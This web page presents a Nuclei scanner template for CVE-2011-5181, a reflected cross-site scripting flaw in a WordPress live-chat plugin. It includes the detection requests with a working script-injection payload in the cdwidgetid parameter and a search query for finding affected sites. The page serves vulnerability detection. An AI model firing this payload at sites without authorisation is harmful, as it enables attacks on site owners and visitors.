CVE-2011-5181· clickdesk / clickdesk live support-live chat plugin· CWE-79
ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting
A cross-site scripting vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Update to the latest version of the ClickDesk Live Support Live Chat plugin to mitigate the XSS vulnerability.
How to confirm it
Send: GET /wp-content/plugins/clickdesk-live-support-chat/readme.txt
Positive when: contains "ClickDesk Live Support - Live Chat"
Send: GET {{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2011-5181 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2011-5181
info:
name: ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting
author: daffainfo
severity: medium
description: A cross-site scripting vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Update to the latest version of the ClickDesk Live Support Live Chat plugin to mitigate the XSS vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2011-5181
- http://wordpress.org/extend/plugins/clickdesk-live-support-chat-plugin/changelog/
- https://exchange.xforce.ibmcloud.com/vulnerabilities/71469
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/d4n-sec/d4n-sec.github.io
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2011-5181
cwe-id: CWE-79
epss-score: 0.10428
epss-percentile: 0.95774
cpe: cpe:2.3:a:clickdesk:clickdesk_live_support-live_chat_plugin:2.0:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: clickdesk
product: "clickdesk_live_support-live_chat_plugin"
google-query: "inurl:\"/wp-content/plugins/clickdesk-live-support-chat/\""
tags: cve2011,cve,wordpress,xss,wp-plugin,clickdesk,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/clickdesk-live-support-chat/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'ClickDesk Live Support - Live Chat'
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/clickdesk-live-support-chat/clickdesk.php?cdwidgetid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2011-5181
- http://wordpress.org/extend/plugins/clickdesk-live-support-chat-plugin/changelog/
- https://exchange.xforce.ibmcloud.com/vulnerabilities/71469
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/d4n-sec/d4n-sec.github.io
Use this check only on systems you are authorised to test. Where the data comes from